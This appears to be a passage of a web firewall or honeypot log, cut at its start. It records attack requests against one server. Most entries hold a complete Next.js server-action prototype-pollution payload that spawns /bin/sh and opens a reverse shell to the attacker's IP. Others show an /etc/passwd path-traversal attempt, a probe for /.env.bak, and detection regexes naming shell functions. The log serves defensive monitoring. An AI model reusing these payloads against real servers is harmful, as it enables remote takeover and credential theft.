n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 20:02:28","204.76.203.73","GET","\/wp-login.php?wp_lang=..\/..\/..\/..\/..\/..\/etc%2Fpasswd","Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko\/20100101 Firefox\/146.0","args","\\.\\.\/\\.\\.\/ >> wp_lang:..\/..\/..\/..\/..\/..\/etc\/passwd","GET \/wp-login.php?wp_lang=..\/..\/..\/..\/..\/..\/etc%2Fpasswd HTTP\/1.1\nconnection:close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko\/20100101 Firefox\/146.0\nhost:47.254.126.238:80\naccept-encoding:gzip\n\n"]
["2026-02-24 20:30:52","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nhost:47.254.126.238:80\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nconnection:close\naccept-encoding:gzip\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nnext-action:x\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 20:42:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\naccept-encoding:gzip\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\ncontent-length:620\nhost:47.254.126.238:80\nnext-action:x\nconnection:close\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 20:51:29","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nconnection:close\naccept-encoding:gzip\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nnext-action:x\ncontent-length:621\nhost:47.254.126.238:80\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 22:03:57","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\naccept-encoding:gzip\nconnection:close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nnext-action:x\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 23:40:24","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\naccept-encoding:gzip\ncontent-length:620\nnext-action:x\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nconnection:close\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 23:49:57","81.168.83.103","GET","\/.env.bak","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/124.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.bak","GET \/.env.bak HTTP\/1.1\nhost:47.254.126.238\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/124.0.0.0 Safari\/537.36\n\n"]
@ Telegram